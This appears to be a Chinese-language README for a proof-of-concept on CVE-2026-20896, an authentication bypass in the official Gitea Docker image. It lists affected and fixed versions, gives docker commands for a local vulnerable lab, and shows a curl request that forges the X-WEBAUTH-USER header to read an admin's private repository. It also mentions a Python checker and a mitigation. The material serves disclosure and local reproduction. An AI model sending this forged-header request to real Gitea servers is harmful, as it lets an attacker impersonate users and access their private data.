[!WARNING] 仅在本地实验环境中,或针对您明确获授权测试的系统使用此 PoC。
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 是受影响官方 Gitea Docker 镜像中的一个身份验证绕过漏洞。当启用反向代理身份验证时,镜像生成的 REVERSE_PROXY_TRUSTED_PROXIES = * 设置允许能够访问 Gitea 后端的客户端通过 X-WEBAUTH-USER 请求头冒充现有用户。
该实验环境会创建一个名为 gitea-admin 的管理员账户,并为其设置随机密码,同时在私有仓库 gitea-admin/private-proof 中存储 CVE-2026-20896_AUTH_BYPASS_CONFIRMED。在不知道随机管理员密码的情况下读取该文件,即可证明绕过成功。
| 类别 | 版本 |
|---|---|
| 受影响 | 官方 gitea/gitea Docker 镜像 ≤ 1.26.2 |
| 首个修复版本 | 1.26.3 |
| 推荐版本 | 1.26.4 或更高 |
该易受攻击的配置要求启用反向代理身份验证,并且 Gitea 后端可直接访问,或者上游代理会保留攻击者提供的身份请求头。本次本地复现不需要反向代理容器。
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
等待几秒钟,让 Gitea 和私有证明仓库完成初始化。
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
成功利用后会返回 CVE-2026-20896_AUTH_BYPASS_CONFIRMED。
python poc.py http://127.0.0.1:3000
该脚本会比较未认证请求、非管理员请求和伪造的管理员请求,并在确认存在授权绕过时打印 VULNERABLE。它需要 Python 3.10 或更高版本,且仅使用标准库。
REVERSE_PROXY_TRUSTED_PROXIES 限制为受信任的代理地址。docker stop cve-2026-20896-gitea-vuln